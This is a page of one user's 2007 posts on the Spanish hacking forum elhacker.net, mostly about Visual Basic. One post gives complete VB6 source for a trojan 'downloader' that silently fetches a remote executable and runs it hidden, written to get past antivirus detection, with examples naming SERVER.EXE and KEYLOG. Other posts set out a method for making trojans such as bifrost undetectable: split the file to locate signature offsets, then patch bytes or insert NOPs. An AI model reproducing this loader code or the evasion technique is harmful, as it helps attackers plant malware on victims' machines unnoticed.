elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Curso de javascript por TickTack


  Mostrar Mensajes
Páginas: 1 ... 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 [83] 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 ... 102
821  Programación / Programación Visual Basic / [Source] Downloader sin API's sin DLL's sin OCX's... solo una Función! en: 19 Mayo 2007, 01:29 am
Hola, estoy programando el Cactus Downloader y publico aquí la función que implementaré en su núcleo. Permite descargar un fichero desde una dirección web HTTP o FTP, sin advertir al usuario. Funciona igual de bien que la famosa API: URLDownloadToFileA de urlmon.dll

El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:

Module1.bas
Código
  1. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  2. 'Función que permite descargar un fichero de internet HTTP o FTP sin usar llamadas a APIS
  3. '
  4. 'Uso de la función:
  5. '   DownloadFile(URL = String, FileName = String, [SavePath = GlobalVar], [RunAfterDownload = Boolean], [RunHide = Boolean])
  6. '   Return Value = Boolean (indica si se ha descargado o no el archivo)
  7. '
  8. ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
  9. Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
  10.    On Error Resume Next
  11.    Err.Clear
  12.  
  13.    Set XML = CreateObject("Microsoft.XMLHTTP")
  14.    Set ADS = CreateObject("ADODB.Stream")
  15.  
  16.    XML.Open "GET", URL, False
  17.    XML.send
  18.  
  19.    XML.getAllResponseHeaders
  20.  
  21.    FullSavePath = Environ(SavePath) & "\" & SaveName
  22.  
  23.    ADS.Open
  24.    ADS.Type = 1
  25.    ADS.Write XML.responseBody
  26.    ADS.SaveToFile FullSavePath, 2
  27.  
  28.    If Err Then
  29.        DownloadFile = False
  30.    Else
  31.        If RunAfterDownload = True Then
  32.            If RunHide = True Then
  33.                Shell FullSavePath, vbHide
  34.            Else
  35.                Shell FullSavePath, vbNormalFocus
  36.            End If
  37.        End If
  38.        DownloadFile = True
  39.    End If
  40. End Function
  41.  

Y para llamarla desde un Form o desde otra función:

Código
  1. Private Sub Command1_Click()
  2.    File = DownloadFile("http://perso.wanadoo.es/winworld/exec.exe", "prueba1.exe", "userprofile", True, False)
  3. End Sub
  4.  

El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:

DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana

DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta

DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.

Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)
822  Programación / Programación Visual Basic / Re: [Source]Insertar iconos de archivos en un List View (2 métodos) en: 19 Mayo 2007, 00:14 am
Me suenan :P :xD :rolleyes:
823  Programación / Programación Visual Basic / Re: [Source] How to Melt a file in VB6 en: 19 Mayo 2007, 00:13 am
Te falta la declaración de la API, no?

Código:
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
824  Foros Generales / Sugerencias y dudas sobre el Foro / Re: Respuesta: Nuevo Ataque DDoS Get's Mayo 07 - SOLUCIONADO en: 18 Mayo 2007, 07:21 am
Por el simple hecho de usar tantos timers de muestra lo patético que es programando. Mi madre lo haría mejor.
825  Programación / Programación Visual Basic / Re: [Propuesta] Offset's Detector... en: 17 Mayo 2007, 14:16 pm
Ummmm, yo he estado haciendo pruebas. He pillado mi cactus.dll 2.5 (que es detectado por casi todos los AV's) y he modificado el caracter 0x00 por un caracter aleatório: 0x34

Solo he modificado los 0x00 que no tenían ningun otro caracter al lado que sea distinto de 0x00 y he obtenido los siguientes resultados:

1) El EXE tiene el mismo tamaño, ni más ni menos bytes
2) El EXE ha quedado completamente funciona, no se ha "roto"
3) El EXE se ha vuelto indetectable para TODOS los AntiVirus, aqui el reporte:



Solo sigue siendo detectado por 2 AntiVirus, pero lo detectan como forma general (me imagino que por Heurística). Si sigo modificando un poco más, le añado NOP's se queda 100% indetctable en menos de 10 minutos. Lo malo que este proceso se tiene que hacer a mano, al menos yo no encuentro forma de programarlo :(

Haré pruebas con troyanos más famosos (bifrost, etc) a ver si consigo crear algún EXE protector "manual".
826  Programación / Programación Visual Basic / Re: SendKeys en: 17 Mayo 2007, 00:42 am
Usa la función "DoEvents" para realizar una breve pausa entre línea y línea. Aunque lo correcto sería usar la API "Sleeps"
827  Programación / Programación Visual Basic / Re: problema con screen en: 17 Mayo 2007, 00:38 am
nadie sabe xq puede ser!??!   :(

Seré claro y explícito con este tema:

1) Pides ayuda sobre un programa del cual no posteas el Source
2) Has posteado en tu mismo post para que "suba" y lo veamos todos.

A eso le llamo yo trolear



*** TEMA CERRADO ***
828  Programación / Programación Visual Basic / Re: [Propuesta] Offset's Detector... en: 16 Mayo 2007, 23:38 pm
Si, ya se que los AV usan partes del código como firma que son esenciales para que funcionen (una llamada a una API, una String Stática, etc...), y es evidente que troyanos del palo: bifrost, poisonivy, etc... tendrán unos offset's intocables. Pero estoy seguro que nos servirá para volver indetectables algunos códigos no tan famosos (pequeños keyloggers, etc...).

En cuanto al lenguaje de programación es lo mismo, solo es un programa que divide un archivo en partes iguales, cualquier lenguaje es apto para ello.

Mi pregunta es... ¿qué se supone que vas a editar una vez troceado? xD
La idea es trocear el ejecutable y obtener los archivitos para luego pasarle un Antivirus por encima y ver cual de ellos contiene el offset (firma) maligno. Una vez localizado el archivo procederíamos edición (añadiendo NOP's, modificando un caracter en caso de ser una string...) e intentar dejarlo indetectable sin joder la funcionalidad del archivo.

Que se pierde en intentarlo?
829  Programación / Programación Visual Basic / [Propuesta] Offset's Detector... en: 16 Mayo 2007, 20:58 pm
Buenas, os propongo un proyecto a ver si os gusta y lo programamos entre unos cuantos...

La idea
Los Antivirus detectan unas zonas concretas de los troyanos (llamados offsets), si un Antivirus descubre uno (o varios) offset's en un archivo lo detectará como virus/troyano.

Hasta el día de hoy, la única forma de saber que offset hace saltar Antivirus era ir probando uno por uno (que coñazo!). Lo que quiero programar es una utilidad que lo haga por nosotros.

Explicación
Un simple programa que le especifiques la ruta de tu server.exe. El programa pedirá cuantos bytes quieres trocear. (Supongamos que nuestro server.exe pesa 10000 bytes, troceamos a 1000 bytes). Obtendremos 10 archivitos de 1000 bytes cada uno. Ahora solo falta pasar el AV y ver que archivo detecta.

Problemas
Es posible que al trocear un server.exe, nuestro AV no detecte ningún archivito malicioso. Eso significa que una parte del offset maligno ha quedado partido en 2 (o más) archivos, en este caso tendríamos que indicar al usuario que repita el "troceo" indicando un valor más elevado.

Y si queréis podemos programar un mini-editor hexadecimal integrado para editar allí mismo el offset. O incluso una utilidad para volver a juntar los archivitos troceados (después de detectar y editar el offset maligno).

Que os parece, alguien se anima? (respuestas mismo)
830  Programación / Programación Visual Basic / Re: [Source] How to Melt a file in VB6 en: 13 Mayo 2007, 16:52 pm
Ese cñodigo no sirve mucho, me explico:

Código:
If App.PrevInstance = True Then
    End
End If

Esto lo guardo como "hola.exe" y lo ejecuto. Ahora copio "hola.exe" como "adios.exe" y lo ejecuto.

Tendré el hola.exe y el adios.exe ejecutados simultaneamente. Esto se arregla con un MuteX o con Melt
Páginas: 1 ... 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 [83] 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 ... 102
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines